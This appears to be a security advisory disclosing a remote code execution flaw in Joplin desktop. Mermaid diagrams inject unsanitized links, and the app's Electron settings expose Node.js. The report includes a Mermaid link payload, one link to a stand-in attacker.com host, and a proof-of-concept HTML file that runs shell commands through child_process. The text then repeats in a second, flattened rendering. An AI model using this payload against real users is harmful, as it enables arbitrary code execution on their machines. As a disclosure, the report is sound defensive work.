Hi, Joplin developer team!
Summary
We have discovered a vulnerability in Joplin-desktop
that leads to remote code execution (RCE) when a user clicks on an <a>
link within untrusted notes. The issue arises due to insufficient sanitization of <a>
tag attributes introduced by the Mermaid
. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.
Details
In the markdown preview iframe, Joplin
only opens <a>
links internally within the same Electron window if they contain the data-from-md
attribute. While Joplin successfully sanitizes the data-from-md
attribute in user-embedded <a>
links from the .md
file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md
attributes of <a>
tags introduced by Mermaid
(e.g., the code snippet shown below). Since Mermaid
allows the rendering of certain scriptless HTML elements, an attacker can embed <a>
tags with data-from-md
attributes, which will then be opened internally in the same Electron window.
Additionally, Joplin
opens the window with nodeIntegration
set to true
and contextIsolation
set to false
, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox
attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent
. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.
Relevant code references:
- Payload to inject
<a>
with data-from-md
attribute:
```mermaid
flowchart TD
A[<a href="https://attacker.com" data-from-md>hello</a>]
```
- Handling link navigation in the markdown preview iframe
|
document.addEventListener('click', (event) => { |
|
const anchor = webviewLib.getParentAnchorElement(event.target); |
|
if (!anchor) return; |
|
|
|
// Prevent URLs added via <a> tags from being opened within the application itself |
|
// otherwise it would open the whole website within the WebView. |
|
|
|
// Note that we already handle some links in html_inline.js, however not all of them |
|
// go through this plugin, in particular links coming from third-party packages such |
|
// as Katex or Mermaid. |
|
if (!anchor.hasAttribute('data-from-md')) { |
|
if (webviewLib.handleInternalLink(event, anchor)) return; |
|
event.preventDefault(); |
|
if (anchor.getAttribute('href')) webviewLib.options_.postMessage(anchor.getAttribute('href')); |
|
// Depending on the chart type, the generated SVG contains an anchor element with xlink:href attribute. |
|
if (anchor.getAttribute('xlink:href')) webviewLib.options_.postMessage(anchor.getAttribute('xlink:href')); |
|
return; |
|
} |
|
|
|
// If this is an internal link, jump to the anchor directly |
|
if (anchor.hasAttribute('data-from-md')) { |
|
if (webviewLib.handleInternalLink(event, anchor)) return; |
|
} |
|
}); |
- Window configuration of
Joplin
window
|
const windowOptions: any = { |
|
x: windowState.x, |
|
y: windowState.y, |
|
width: windowState.width, |
|
height: windowState.height, |
|
minWidth: 100, |
|
minHeight: 100, |
|
backgroundColor: '#fff', // required to enable sub pixel rendering, can't be in css |
|
webPreferences: { |
|
nodeIntegration: true, |
|
contextIsolation: false, |
|
spellcheck: true, |
|
enableRemoteModule: true, |
|
}, |
|
webviewTag: true, |
PoC
Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):
```mermaid
flowchart TD
A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
<html>
<body>
<script>
if (typeof window.parent.require !== 'undefined') {
const { exec } = window.parent.require('child_process');
exec('ls -al', (err, stdout, stderr) => {
if (err) {
document.body.innerText = `Error: ${err.message}`;
return;
}
if (stderr) {
document.body.innerText = `Stderr: ${stderr}`;
return;
}
document.body.innerText = stdout;
});
} else {
document.body.innerText = 'Require is not available in this environment.';
}
</script>
</body>
</html>
Then, open the poc.md
with Joplin
and click on the hello
link. The code embedded in the poc2.html
will be executed.
Impact
This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.
Hi, Joplin developer team!
Summary
We have discovered a vulnerability in
Joplin-desktop
that leads to remote code execution (RCE) when a user clicks on an<a>
link within untrusted notes. The issue arises due to insufficient sanitization of<a>
tag attributes introduced by theMermaid
. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.Details
In the markdown preview iframe,
Joplin
only opens<a>
links internally within the same Electron window if they contain thedata-from-md
attribute. While Joplin successfully sanitizes thedata-from-md
attribute in user-embedded<a>
links from the.md
file to prevent the execution of untrusted HTML content, it fails to sanitize thedata-from-md
attributes of<a>
tags introduced byMermaid
(e.g., the code snippet shown below). SinceMermaid
allows the rendering of certain scriptless HTML elements, an attacker can embed<a>
tags withdata-from-md
attributes, which will then be opened internally in the same Electron window.Additionally,
Joplin
opens the window withnodeIntegration
set totrue
andcontextIsolation
set tofalse
, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks thesandbox
attribute, allowing scripts running in the iframe to call Node.js APIs throughwindow.parent
. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.Relevant code references:
<a>
withdata-from-md
attribute:joplin/packages/lib/renderers/webviewLib.js
Lines 93 to 116 in e6c09da
Joplin
windowjoplin/packages/app-desktop/ElectronAppWrapper.ts
Lines 141 to 155 in e6c09da
PoC
Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):
poc.md
poc2.html
Then, open the
poc.md
withJoplin
and click on thehello
link. The code embedded in thepoc2.html
will be executed.Impact
This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.